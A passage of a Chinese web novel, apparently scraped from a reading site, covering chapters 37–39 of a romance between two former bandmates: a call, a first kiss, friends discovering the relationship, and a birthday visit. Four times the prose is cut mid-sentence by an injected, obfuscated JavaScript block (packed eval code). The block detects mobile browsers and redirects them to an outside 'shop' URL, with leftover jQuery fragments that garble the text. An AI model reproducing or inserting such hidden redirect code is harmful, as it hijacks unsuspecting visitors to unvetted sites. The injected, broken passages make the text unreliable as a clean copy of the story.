李萤心总能从缤纷的生活中吸收很多能量,又尽自己所能将热情折射出去,对朋友也好,用歌曲传达态度也好,只是一块水晶,但是用柔和的光芒照耀了很多人。 他就是受益者之一。 他现在拥有的一切,起点就是李萤心一句想让他堂堂正正昂首挺胸,还想让全世界都听到他的声音。 ……这么多年以后,李萤心发给他的这首歌里,竟然有一句“你让我变成我”,俞沅想说不是的,这句话应该我对你说才对。 证明爱情还有一个很简单粗暴的方式,就是想与对方肌肤相亲。 平时都能掩饰,大二有一次乐队集体去外地演出,订了两个房间,很滥俗的没有双床房的桥段,李萤心大大方方说那我和小沅一起睡好了,晚上躺在一张床上谈天说地——主要是李萤心在说个不停。 起初俞沅还和他面对面,因眼神总是不受控制看向总在一张一合的唇,下嘴唇稍微有点肉,看起来口感很好,俞沅喉结上下滚动,假装一直保持一个姿势不舒服,就翻身平躺。 李萤心没察觉半点,还在自顾自地说,这回俞沅看不见李萤心的双唇,但是对方说话的声音在他耳边像一道轻柔的纱,把他拂得心里直发痒。 于是他干脆眯上眼假装睡过去,李萤心说了一会儿发现没得到回应,说了句“啊怎么睡着了”,然后戳了戳他的脸,自己也拉上被子睡。 其实俞沅一整夜都没怎么睡着,一直在半梦半醒的状态里,恍惚间睡熟的李萤心把手搭到他腰间,他就这样僵了一个夜晚,还要起得比李萤心早,先去洗澡换内裤,免得李萤心起来以后发现什么端倪。 白天一切如常,扮演一个好朋友好弟弟,在李萤心说着说着又往他身上倒的时候表演老僧入定,在被李萤心揉脑袋的时候乖乖当他的小狗。 他喜欢李萤心,但也只能这样偷偷地喜欢着李萤心。 恋爱幻想不是没有过,倒不如说频繁得要死……可理智上俞沅也懂恋爱这种事需要两情相悦,别说互相喜欢了,李萤心肉眼可见的对他没有什么暧昧的情愫,甚至作为朋友来说,他能常常待在李萤心旁边,已经是他努力的结果。 李萤心熟悉的不熟悉的朋友一堆,在学校里有同宿舍的学长和他搭伴上课吃饭,组乐队时陈悦也与他更相熟,玩游戏加个群就多一堆网友,去哪里演出旅行都能找到当地的朋友做地陪。 他虽然是李萤心“千方百计”哄来当主唱的,大家总觉得李萤心很把他当一回事,可实际上俞沅也知道,唱歌好听的人那么多,他除此之外又没有别的长处,性格也闷,可替代性实在太强了……除了多在李萤心身边刷存在感以外,他想不到有什么办法能让对方多看他几眼。 再后来俞沅发现,即使自己慢慢地占据了李萤心的生活,取代了陪他吃饭的同学,取代了和他认识更久的陈悦,在李萤心的心里,他的分量也没有重一些。 乐队解散的时候,李萤心只说别人都不想组了……别人不想组,所以哪怕他还想陪李萤心坚持下去也无济于事。 那是他最伤心的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093647|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这场伤心的雨在他心上断断续续地下了好久。李萤心的确是个想做就做的人,说完解散,就真的再也没找过他,他第一次跟李萤心闹只有自己知道的脾气,也没有去联系对方,再等来李萤心的消息,兴高采烈地点开,对方却是问他放在他那的东西什么时候拿走。 俞沅想过算了吧。 然而怎么也算不了……喜欢就是喜欢,怎么能算了啊。 又不知过了多久,中途他甚至还做过去找陈悦打架这种蠢事,但也是那次之后,他慢慢想通,想想乐队解散最难过的怎么说都应该是水晶,他才是最想坚持下去的人……只是客观条件再不允许他们继续下去,在挫败的漩涡之中,李萤心估计也很难再向平时一样,保持高涨的热情,妥帖对待身边每一个朋友。 其实做错的是他,当时他光想着自己。 又想,如果他厉害一点,大家就不用面对这些难题。 俞沅终于也下决心像尚未蒙尘时的水晶那样,想做什么就去做,无论是多渺茫的前路,都要先踏出一步。 至于他私人的喜欢,好像也不是很重要了,他没有任何理由非要将一块水晶占为己有,他想如果自己能擦拭他,让他重新璀璨,那就够了。 自始至终,哪怕到了他们重新变得要好的现在,他顶多只想占据一个好友的位置,从来不敢想李萤心会对他的情感做出什么回应。 可是,可是。 可是李萤心他,说他咬破了一颗浆果。 歌听完了,耳机里只剩长久的寂静,俞沅重新呼吸,他重重地吸一口气,只恨不会魔法,不然就能马上传送到李萤心身边。 他给李萤心打电话,头两次说忙线中,他又停下来让自己冷静再冷静,也有可能是会错意,别一下想太美了。 隔了一阵再打,对面接起来了。 电话好不容易通了,俞沅一时之间却不知道要说什么了,握着手机沉默。 李萤心先说:“……刚才家长给我打电话。” 俞沅:“……嗯。” 沉默。 不稳定的呼吸声。 持续的沉默。 接着两人同时:“你……” “你先说……” “我……” 两人的话声打架,随后他们又不约而同地笑了出来。 最后还是俞沅再次打破了这份尴尬,他没有说歌的事,没有和李萤心谈论别的,却说:“哥……上次你说想来找你就可以来找你,还作数吗?” “作数的,”李萤心扒在窗台,看着云中的一弦月,“但是你不用工作吗?” 俞沅语气从容,实际上也开始像动物在进行刻板行为一般开始在屋子里踱步,最后他也走到窗边,望向遥遥的月:“不想工作了,想小牌大耍。” 李萤心迟疑道:“这不好吧。” 俞沅:“可是我想见你。” 37.第三十七章 李萤心也顿了顿:“那其实我也是想见你的。” 想见就见吧,李萤心没再扭扭捏捏:“马上放国庆假了,我可以去找你。” 俞沅:“国庆我有好几个活动要参加,每天都在不同地方……但我后天没什么事情。”因为还在迷你专辑宣传期,各种工作应接不暇。 李萤心:“……后天我得上班。” 可恶,人为什么要上班。 李萤心想了又想:“不过我后天就早上两个班两节课和晚自习一定得去开个会……”话说到一半,忽又想起什么,“啊算了,如果你就一天假也没必要专门过来。” 俞沅却说:“很有必要啊。” 于是过了两天,李老师下了课回屋,一开门就看见俞沅抱着个枕头端坐在小客厅沙发上——俞沅说要直接来家里找他,李萤心提前跟他说了密码。 李萤心:“……Hi。” 很奇怪的,见面之前李萤心在手机里和俞沅聊个不停:此人前一天晚上凌晨三点才收工,又马不停蹄地赶去机场搭早上最早一班飞机,几乎就没合过眼。李萤心又提了几遍要不过一阵再见,都遭到了俞沅的否决。拗不过他,李萤心只好趁着巡完早读孩子们都下去做早操的间隙给他发一路平安之类的话,喊他在飞机上多睡会儿。 两节课是上午四五节,上完已接近中午,李萤心回办公室一看手机,俞沅说已经到他住的地方了。 直到这时,李萤心还能跟俞沅聊,跟他说冰箱里柜子里有什么吃的喝的,想打发时间的话Switch的卡带又都放在哪个柜子里,说自己马上就回去。 但真见着俞沅本人,李萤心一时竟然语塞。 不过俞沅也没好到哪去,李萤心看见他站起来,但始终没放下手中的抱枕,甚至手又紧了些,也有些讷讷地回了句:“呃,Hi。” 李萤心一只手放到后颈上,眼神瞟到一旁,开始找话题:“那个,你先再坐会儿?我去换个衣服带你出去吃东西。” 俞沅大概是听到李萤心说换衣服的关键词,视线落到他身上:“噢,原来李老师平时去教书穿这样。” 李萤心:“……”飞快地进房间并砰一声把门关上。 俞沅在外面好像还说了什么,但刚好被关门声盖住了,李萤心没听清。 在衣柜里翻出稍微能看一点但又不至于夸张得像在刻意打扮的T恤,李萤心把它换上。 早上准备出门上班前李萤心就考虑过,他平时上班都是穿朴素的黑白灰没什么设计感可言的T恤加牛仔裤,主打一个教师要有教师的样子,但今天俞沅要来,他再怎么样是不是应该拾掇一下?可是学生嘴是很碎的,大概是因为住宿校园生活真的太过乏味,平时哪位老师换了件不常穿的衣服都会被这些学生们讨论半天,他今天要是突然开屏一定会成为话题中心人物,思来想去,李萤心还是决定一如既往地朴素着去上班。 前阵子和俞沅天天待一块时,他也还没这么做作,怎么现在就…… 算了,做作就做作吧,李萤心换完衣服简单抓了抓头发,又想他看这俞沅也挺做作,明明是私人行程,打扮得像要去拍杂志的男大,生怕不被认出来似的。 出来以后,见俞沅又坐回沙发上了,李萤心故作自然问:“要吃什么?感觉暑假你来这边已经把能吃的都吃过了……别再跟我说要去食堂。” 俞沅摸了摸鼻子:“我刚说了来着,哥好像没听到,我说我叫了送菜的,买了些食材,你到之前他刚刚送到……随便做点吃吧,别在外面跑来跑去了。” 李萤心这才发现桌上是多了一大袋东西,他道:“我不怎么会做饭啊。” 俞沅:“我做啊。” 李萤心:“噢……好,麻烦你了。” 俞沅:“……也不麻烦的。” 说完俞沅就提着这袋东西进厨房了。 等俞沅进去了,李萤心把脸皱成一团,不是,什么啊,让小沅千里迢迢跑来给他做饭吗?这什么展开,还是说这也是俞沅开屏的一种方式?但属实也不至于,以前上学的时候俞沅就时不时会到他租的小房间跟他一起研究电饭锅和空气炸锅美食,前阵子去上海,李萤心和陈悦也在他闲的时候在他家吃过几顿。 俞沅自小比较独立,是很会生活的人。 暑假期间倒是确实没让俞沅下过厨,李萤心回想了一下,当时每天都约在排练室见面,似乎连邀请俞沅来他这里坐坐都没来过……自己真该死啊。 李萤心有些坐立难安,也跟着挤进厨房。虽说这是个厨房,该有的锅碗瓢盆油盐酱醋也都没少,但李萤心平时顶多在这里洗洗水果洗洗杯子,独居加上单位有食堂,他开火的次数少得可怜。 俞沅正切丝瓜,修长的手指按在瓜上,刀工娴熟,看起来也是很赏心悦目的,旁边放着一碗泡着水的蛤蜊还有其他备好或没备好的菜。 李萤心说:“搞得挺不好意思的……你这么飞来飞去昨天又没睡好都要累死了结果在这里做饭……需要帮忙吗?” “不用,”俞沅切东西的动作稍微一顿,又说,“没有什么不好意思的,我想这样而已。” “嗯?” 俞沅说:“我幻想过很多遍……就像这样,和哥一起在家里,我做饭,吃完,你洗碗。” 李萤心站在他侧后方,看他的神情似乎还和刚才无异,保持着淡淡的模样,但耳朵已经红了。 李萤心想自己应该也没好到哪去的,因为他觉得有点热,明明开了空调。 李萤心悄悄深呼吸,又说:“那我出去了,等下我再来洗碗。” 俞沅动作是很麻利的,很快端出三菜一汤,但两人之间氛围始终尴尬,除了李萤心间或说句这个真好吃俞沅又嗯嗯地应,其他时候沉默得像拼桌吃饭的,就这么吃完,说是李萤心去洗碗,实际上俞沅也去帮忙了。 不能再这样了,李萤心如是想,再这样感觉比之前都要不熟……老天爷,有别人预备向恋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104930|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爱的方向发展时是这个鬼德性吗? 洗完碗后两人一起坐着,李萤心见俞沅也没开口,本来想要不自己主动一下,然而一旦想提一提两人之间那点苟且之事,他就觉得嘴上黏了胶水。 几番思索之下,李萤心还是觉得先聊音乐吧,聊音乐最不会尴尬了,于是他发起话题:“你有看网上的人怎么评价你那迷你专吗?” 俞沅也没想到两人一起当了这么久哑巴之后李萤心问的是这个,他本来正疯狂在脑内组织语言,结果李萤心先发问了,问的还是跟他们这次见面毫无关系的话。 俞沅也只好先好好回答:“看了些。” 李萤心就顺着说了:“我也看了,评价都还挺好的,说你探索新风格挺成功……” 果然一说起这,李萤心逐渐就不卡壳了,越说越带劲:“他们都说你这三首歌都有很多国风啊民乐什么的元素,还在猜你是不是之后主要想走这个风格,或者完整正规专辑会不会也保持一个风格。” 俞沅:“其他歌还没着落呢,整体会是什么风格也很难说。” 李萤心:“哈哈,他们根本都想不到你对整张专辑也没有很细致的规划,其实这样也挺好,不要被什么条条框框束缚住嘛,想做什么歌就做什么歌,会是什么风格让他们猜就好……” 俞沅心想,真的还要继续聊这个吗?但还是乖乖接话:“……那也得看哥会给我些什么歌吧,专辑风格还不是取决于你怎么想……” 李萤心:“不是有一首新的了吗?那天给你发那首梦泡也不是不能塞进去凑个数……”李萤心说到这里有点想给自己掌嘴了,这嘴怎么比脑子快,怎么聊到这个了!是不是又要尬住了!不是,他这首歌也不是给俞沅放专辑里凑数用的,他到底在说什么啊! 李萤心的滔滔不绝模式瞬间就结束了,他又开始不知该如何是好,想他讲台上教训学生话一套接一套,面对家长领导得体自如,和朋友畅聊口若悬河,怎会沦落到跟最亲的人都无话可说的地步!他只低着头盯自己的膝盖,于是没能看见俞沅一下睁大的眼。 但他听见了俞沅有点委屈的质疑声:“那不是哥单独写给我的吗?” 李萤心手快把沙发抠烂了,还好不是皮沙发,他回答俞沅的问题,有点结巴:“……是,是啊。” 随后李萤心感觉到手被另一个温热的手心覆上,他下意识扭过头去,又看见俞沅把手指嵌进他的指缝当中。 ……他和俞沅,十指相扣了。 上一次牵手,还是在台上手拉着手谢幕的时候,那个时候,根本不会像现在这样,好像有一千一万只蝴蝶要从他的心脏出发,途经他的喉咙,争先恐后地想飞出来。 他心跳得太快了。 俞沅不只是扣住他的手,又把他拉了过来,一只手捧着他的脸,随后笨拙地贴上了他的唇。 李萤心闭上了眼睛。 他心里的蝴蝶就这样飞到了俞沅唇边,被俞沅吞咽下去了。 38.第三十八章 李萤心一只手被俞沅紧紧握着,另一只手原本撑在沙发上,后来逐渐支撑不住,他整个人往沙发里陷,连带着把俞沅也拉下来,身下的沙发套也早就皱得不成样子。 两人的唇仍相贴着,但与其说是在亲吻,李萤心感觉自己更像被一只小狗伸出湿润的舌尖毫无章法地蹭着,可惜李萤心在这方面也全然没有经验,不知道要怎么引导对方才好,只能任由对方发挥。 他始终闭紧了双眼,看不见一切,却又看见了一切,看见自己和对方的心跳像播放器里的彩色声音波形一样炸开,看见对方身上秋天一样的木质香变成一片片金色落叶铺在了他身上,看见他们在温暖的湛蓝海水中抱紧彼此随着浪潮起起伏伏。 忽然李萤心感到俞沅离开了他的唇,把头埋在了他的颈间,随后李萤心的皮肤变得潮湿。 李萤心睁开眼,空着的那只手抚上俞沅的发,再轻轻把他的脸扳过来,看见对方面无表情地流着泪。 “怎么了?”李萤心一开口,声音竟然有些哑。 俞沅注视着李萤心的眼,像在看他眼里自己的倒影:“没有……就是觉得好幸福。”说完眼睛一眨,又两颗眼泪滚了下来。 “喜欢你。”俞沅接着说,“怕……是假的。” 两个人挤在并不大的沙发里,额头相抵,李萤心屏着息,贴过去吻掉俞沅脸上蜿蜒的泪痕,咸咸的。 “是真的。”李萤心说,“……我也喜欢你,我也感觉很幸福。” “谢谢你。”俞沅握着李萤心的手,抚上他长期练琴指尖生出的茧。 尔后两人就这样面对着面抱着,感觉俞沅渐渐平静下来了,李萤心问:“困吗?” 昨晚到现在几乎没睡觉的俞沅眼皮看起来有点要黏在一起了,但坚持摇头:“不困。” 李萤心:“困就睡吧,去里面睡?” 俞沅声音发闷:“不想。” 李萤心:“为什么?” 俞沅:“等下就要走了,不想把时间浪费在睡觉上。” 李萤心一滞,忽然又想到不只这一次,俞沅总是费很大工夫走到他身边,步行六公里或者专程打一趟飞的,只为见他一面。 当然这次,李萤心也很想见到俞沅,面已经见上了,心意已然也相通了,他们来日方长,他希望俞沅不要怕抓不住他。 于是李萤心说:“我们以后会有很多很多见面和待在一块的机会,你现在先睡觉……就像你会担心我没吃饭一样,我也会担心你没睡好觉。”不过人是双标的,李萤心他自己通宵熬夜的事没敢拿出来说。 俞沅还在犯倔,李萤心犹豫一阵,又揉了揉他的脑袋:“……我又不会跑。” 拉锯了一会儿,大概也真是累得不行了,俞沅终于还是点了头,但他没接受李萤心的提议,说:“我就在沙发上睡吧。” 李萤心问他:“为什么啊,沙发睡着不会不舒服吗?” 尤其这沙发短短的,都不够俞沅把身子抻直。 俞沅说:“在外面跑来跑去身上感觉脏脏的,没衣服换不想躺床上。” 李萤心:“你这么讲究呢。” 俞沅:“……” 李萤心:“不对。” 俞沅:“嗯?” 李萤心:“身上感觉脏脏的,不能爬上床,但是……但是,可以抱我?”说罢再故作嫌弃地做了个推的动作。 “……我不是那个意思,我就是想说,”俞沅搭在李萤心腰间的手紧了紧,“……哥下次能给我准备一套睡衣吗?这样我可以换睡衣去床上睡……”俞沅边说边打量李萤心的表情,看他嘴角噙着笑,就得寸进尺地说,“还有拖鞋,漱口杯,喝水的杯子,什么的。” 李萤心还没应下来呢,听到俞沅又在补充要求:“如果能和你的是一对的就更好了。” 啊真是太可爱了,李萤心想。 他故意没答话,俞沅沉默了一会儿:“……不行吗?你是不是觉得这样太快了?那算了,我撤回……” 李萤心弯了弯眼睛:“行吧。” 俞沅也笑。 “那你睡吧,”李萤心试图从俞沅怀里钻出来,“我就在这备一下课。” 俞沅又一次把李萤心的手扣住:“等一下。” “嗯?” 俞沅眼神瞟向旁边,看着有些难为情,发言却十分大胆:“再亲一下。” 说完也没等李萤心同意,重新盯住李萤心的脸,再一次吻了上来。 不知吻了多久,直到李萤心感到有些眩晕,俞沅才又依依不舍地放开。李萤心从沙发上起来,把刚被推到一盘的抱枕和毯子塞到俞沅手里,再将面前的小茶几往外推了推,空出一个足以盘腿坐下的位置,坐下以后把昨晚就摆在这儿的笔记本拉过来,开机。 打开做了一半的课件装模作样开始做,敲字的时候也轻手轻脚的怕发出太大的声音,过了一会儿他偷偷转过头去看一眼沙发上的俞沅,此人刚才还在说什么不要睡觉,结果现在已飞快抱着枕头沉沉睡过去。 李萤心长长地呼了一口气,双手又拍了拍自己的脸,烫得跟发烧了似的。 从刚才到现在,他一直觉得…… 真的很热。 九月底的鲤州气温还能到三十度,热得反人类。 空调好像也没什么鬼用,温度调得很低了,他却怎么都觉得凉快不下来。 李萤心把手挪到嘴唇上。 笔记本屏幕上的界面已经从课件页面跳成了待机屏保,李萤心根本无心备课,各种各样的念头争先恐后在脑海里翻腾。 他想原来接吻的感觉还挺舒服,想这个节奏是对的吗怎么那么突然就亲了,想还好他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115242|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿的裤子不是很紧而且也没贴太近不然会很尴尬。 又想可是那是他和俞沅。 他们不像别人那样要一点一点培养感情,如果说将感情比喻成可以量化的水,全世界每一对有情的人的感情都被一起装在从中间隔开的容器里,当别人还在慢慢往容器中注水的时候,属于李萤心和俞沅的容器两边的水早就都满了,这时爱神降临,把容器中间的隔片抽走,于是他们的感情就不再分你我。 想着想着又觉得自己刚才表现得很一般啊,都奔三的人了这么不好意思有点太逊了吧,感觉学校里早恋的学生都比他厉害,下次一定再接再厉。 …… 内心戏极为丰富的李老师因为太爱想东西,一下午工作进展非常缓慢,直到下午四点多俞沅醒过来时他还没把课件做完。 俞沅来这一趟,就是为了见李萤心一面,没有别的目的。明天他又有别的活动,五点多他就得准备打车去机场,李萤心再过一会也得回班上看晚自习。 时间太过有限,这会儿他们也没别的事能做,就挨在一起说了会儿话。 也许是过了最难的“开口”这一步,亲也亲过了,也留足了时间让他适应俞沅换了个身份在他身边。俞沅醒来后,李萤心觉得再面对他时少了很多不自在。 聊起天时也和平时没有太多不同,唯一有区别的大概就是俞沅在“隔片被抽走”的那个瞬间之后变得尤为明显地……喜欢和他贴在一起。 以前就算挨着坐,两人之间也会微妙地空出一些距离,更久以前一般都是俞沅主动空出的距离,重逢后是两人都有意识地在控制自己——李萤心也是后知后觉想通,原来这种克制也是当时自己心动的一种表现。 现在则没有任何空隙,甚至俞沅抓着他的手都不肯松。 话讲到完了,两人都静静地没有开口,就这么坐着拉着手。 这段有限的相见时间很快就结束了,俞沅约的车已经在楼下等,他不得不起身,李萤心跟着他走到门边,想跟他一起下楼,俞沅摇了摇头。 俞沅给的理由是怕被拍。 李萤心笑笑:“之前不是说私人行程没人拍吗?” “以防万一。”俞沅又说,“而且以前我一个人被拍就被拍了……不想你被人拍到被议论。” 李萤心:“好……那你自己下去,路上注意安全。” 俞沅也说:“好。” 这么说了,俞沅却一动不动,没有任何要开门下楼的迹象。 李萤心说:“快下去吧,别让司机等着。” 俞沅想了想,又说了那句:“保持联系。” 李萤心忽然明白过来,为什么俞沅执着于对他说“保持联系”。 他去拉俞沅的手,捏了捏他的手心:“……不会再和你断开联系的,到了就给我发信息。” 39.第三十九章 李萤心的生活回到了正轨上,当然他的“正轨”和别人的可能不太一样:交了辞职报告磨了挺久嘴皮子终于获批辞职开始走流程,等学期结束就跑路;上班,练琴,写歌;谈恋爱,和别人眼里的大明星搞地下情。 其间有过一些紧张刺激的经历。 其一是俞沅恰好某个周末没事的时候飞来找他,两人在排练室里练完琴了玩点游戏谈情说爱,李萤心把家里的Switch拿到排练室了,因为排练室的投影仪效果更好,他本来想和俞沅一起玩《双人成行》,想着这游戏买了这么多年了终于有人和他一起玩总算可以通关了!实际玩起来李萤心大失所望,俞沅此人玩游戏实在有点太笨了,每关都卡半天,李萤心怕自己忍不住和他打起来,干脆自己玩别的。 俞沅就枕在李萤心腿上看他玩。 李萤心改玩自己因为太忙花了两年就只打了大约五分之一的《八方旅人》,操纵着像素小人跑来跑去,俞沅眼睛盯着李萤心的角色跑,脑袋还跟着动,李萤心感觉他像被激光笔吸引的大狗。 不仅看,还要问,李萤心边玩边给他解释这几个NPC之间互相是什么关系有什么故事,其实他自己也记不太清了,一边回想一边编造,反正俞沅也不知道。 大概是两个人都太过投入,也可能刚才有什么游戏音效盖过了稍远处门被打开的声音,等到一声巨大的“卧槽”唐突响起时李萤心和俞沅才发现一个表情扭曲的陈悦站在了他们面前。 李萤心紧张地把手柄放下,推了推俞沅的脑袋示意他起身,结果俞沅不肯动,还顺势抓住了他的手,以一种超出友人的亲昵姿态扣着李萤心的手,然后冲着陈悦微笑。 陈悦伸出手指了指李萤心又指向俞沅,说话变得结巴:“你……你……你们……卧槽。” 李萤心只好故作镇定地问:“你怎么来了?” 陈悦:“我怎来不得!我经常来啊!我也要练琴写歌啊!没碰见你而已!……一碰见就这么刺激!” “也没有很刺激吧我们又没干吗……”李萤心说,“那你练。” “你们还想干吗?”陈悦十分抓狂,“不是,练个毛啊!” 最后俞沅还是不情不愿地坐起来了。陈悦坐到这俩人对面,投影上的画面打到他身上有点滑稽,李萤心叹了口气,存档,再把投影给关了,心说这游戏要打通关不知道得猴年马月了。 陈悦用一种类似审判的目光将他们扫射一遍:“什么时候的事?我怎么不知道?李萤心,我现在不是你最好的朋友了吗?还有俞沅你,卧槽你小子竟然……行吧,也行,挺好的。”从连珠炮似的发问到飞速接受这个事实。 李萤心感到有些尴尬,他也想过什么时候跟亲近的朋友说一声,但怎么想都觉得谈个恋爱还要特意宣布一声也太傻了……于是想着等朋友发现了再说好了。 当然想象中的场景是朋友惊讶,他们坦坦荡荡,然后朋友祝福一下,这事就这么普普通通地过去了。 实际发生时还是有些难为情。 李萤心一一回答,但回答得不怎么正经:“就前阵子,不说是因为……听说队内恋爱的乐队一定会解散?……还有你什么时候是我最好的朋友了?” “不是,我们乐队不是本来就解散了吗?!”陈悦有点受不了了,“我什么时候不是你最好的朋友了?” 说着他举起手机随手照了一张狗男男发到他们四人的群里,特意@了石含章。 陈悦:老石你看看他们[愤怒] 石含章在老家开民宿,每天都在前台待机,回信息回得飞快。 石含章:? 石含章:他们怎么了? 陈悦:好上了。 石含章:…… 石含章:破镜重圆? 陈悦:??? 陈悦:什么意思? 石含章:我误会了吗? 陈悦:他们刚好上。 石含章:…… 石含章:其实我以为上大学的时候他们就在谈。 陈悦:怎么可能,芋圆弟弟胆小如鼠,主动搂李萤心一下都不敢。 坐在陈悦对面的俞沅幽幽地把脸从屏幕上抬起来,盯着陈悦看,李萤心坐在一旁笑眯眯的。 石含章:哦我以为他们在我们面前避嫌。 石含章:我还以为我们最后做不下去有一部分原因是他们分手了。 陈悦:你去写小说吧,神经病。 石含章:抱歉。 石含章:恭喜恭喜[庆祝][烟花] 李萤心在群里回了个表情,随后把手机放一边,又对俞沅和陈悦道:“干吗面对面聊微信啊?” 随后他把话题从自己身上引开,问陈悦:“你呢?你和那妹妹怎么样了?” “……唉。”陈悦说,“也没怎么样,她不是在微博扩列么——扩列就是扩充好友列表的意思——然后我就拿了个小号装作女生同好去加她了,每日嘘寒问暖,听她说她病情稳定点了,说这病能控制,只要好好吃药治疗就没有生命危险……其实只要她别想不开就行。” 陈悦又说:“歌我也写了一点,第一次弄感觉哪哪都不对劲,正想着什么时候找你帮我改一下,然后编曲也得你来。” 话题又绕到歌上了,李萤心说:“那正好啊,要不旋律你弹一下。” 陈悦就去取他的琴了。 李萤心看着陈悦走的方向,忽然感觉手心被捏了一下,他转过头,俞沅还是那幅幽幽的表情。 李萤心又瞄了一眼背对着他们、在十几米开外正拿琴的陈悦,飞快地靠近俞沅,啵了一下他的脸,再端坐好。 心里美滋滋地想,这恋爱谈起来越来越得心应手了,这样亲一下真是毫无压力啊! 陈悦抱着吉他回来,狐疑地看着他俩:“你们两个傻乐什么呢?我身上有什么东西?” …… 其二是俞沅生日的时候。因为俞沅在他生日时也专门来找他吃了个蛋糕又走了,李萤心礼尚往来,在俞沅生日的时候跟别的老师调了课,也打了个飞的去找对方。他俩生日在同个月,甚至没差几天,一个是九号生,一个是十四号生的,当然中间隔了三岁。 李萤心没搞什么送惊喜那套,大家的工作安排都是不能轻易改变的,而且俞沅不是朝九晚五双休的上班族,休息日出现得很随机……必定是要商量好才行。 十四号前后几天俞沅都有节目要录,但因为节目就在上海录制,每天录完他可以自行回家。李萤心说要来的时候俞沅说不用那么麻烦也行,反正前几天一起吃过蛋糕就当都一起过了,但李萤心坚持要来。 当时李萤心给俞沅打了好长的几段话。 李萤心:如果你觉得我过去很麻烦,那我其实也觉得你每次过来找我也很麻烦,因为麻烦就不见面了吗?就像你想见我一样,我也很想见你的。 李萤心:而且我以前就跟你说过的,我觉得你的生日是很重要的一天,从以前到现在,我都非常感谢你诞生在这个世界上。 像是为了更有说服力,李萤心隔了一会儿后给俞沅又发了几张截屏。 李萤心:[图片][图片][图片] 李萤心: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128788|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是我的微博小号,平时看看超话用的……呃就算没有联系的时候我也每年都会祝你生日快乐的。 前面那句话,认识的第一年,李萤心就对俞沅说过。俞沅一直是记得的。 当时认识没多久,李萤心问俞沅生日是什么时候,俞沅起先懒得说,找话搪塞过去,说自己没有过生日的习惯。 反正来到这个世界上纯属意外,甚至他总觉得不出生更好,也没什么值得庆祝的。 那时候李萤心就是这样说的,他说:“生日很重要的呀,我真是太感谢老天让你出生在这个地球上了!” 彼时俞沅只觉得李萤心说这话就是夸张,那时候他对这个学长的其中一个印象就是讲话很好听但也许都是社交辞令,这样的话他记着了,却也没当真。 后来李萤心不知道去哪搞了他的生日,还搞到了错误的日期,约他在学校附近的咖啡店见面,提着个小蛋糕来祝他生日快乐,俞沅说今天不是他生日,想了想还是告知了真实的日期,以为李萤心会不爽,结果李萤心很是开朗地说:“太好了,那过两天你真实生日我们又能吃一次蛋糕。” 俞沅看着如今的李萤心给他发来的这些话和截图,心口涨涨的,他给李萤心回复:好,那我要吃焦糖饼干千层。 李萤心:包在哥哥身上[玫瑰] 李萤心是十三号晚上飞上海的,他没让俞沅来接,落地之后先去一个在网上精挑细选半天的蛋糕店取他订的千层,对方的配送范围和俞沅住处相距甚远,取了蛋糕以后紧赶慢赶总算在十二点前到了俞沅住的地方。 进门以后蛋糕都没来得及放下,外套也还没脱下,就被俞沅压在墙边亲,俞沅一手扶着他的腰,另一手垫到李萤心脑袋后面,让他避免直接磕到墙。 近来俞沅吻技见长,舌头探进来的时候李萤心不再觉得是胡乱啃咬,更像一种撩拨,他被亲得发软,手搭在俞沅腰腹间,屋内开着暖气,隔着薄薄的居家服,他甚至能描摹出俞沅的人鱼线。 两人亲完分开,李萤心看了一眼手上那蛋糕,总觉得应该会发生点什么,整个脑袋都在发热,他轻声说:“我把蛋糕放下……然后先去洗个澡。” 俞沅:“嗯。” 这澡洗得比平时都要久,李萤心暗中学习了一些小知识,正在实践当中。洗完出来,穿上俞沅的睡衣,身上也是俞沅用的沐浴露的味道。 十一点半。 两人坐在沙发上自然而然又接起了吻。 十一点五十五分,李萤心非常有仪式感地让俞沅把灯关了,点蜡烛,给俞沅唱生日歌,让他许愿。 十二点整,在说“生日快乐”的同时—— 门铃响了。 俞沅和李萤心面面相觑。 一开始俞沅没搭理,但门铃声锲而不舍。 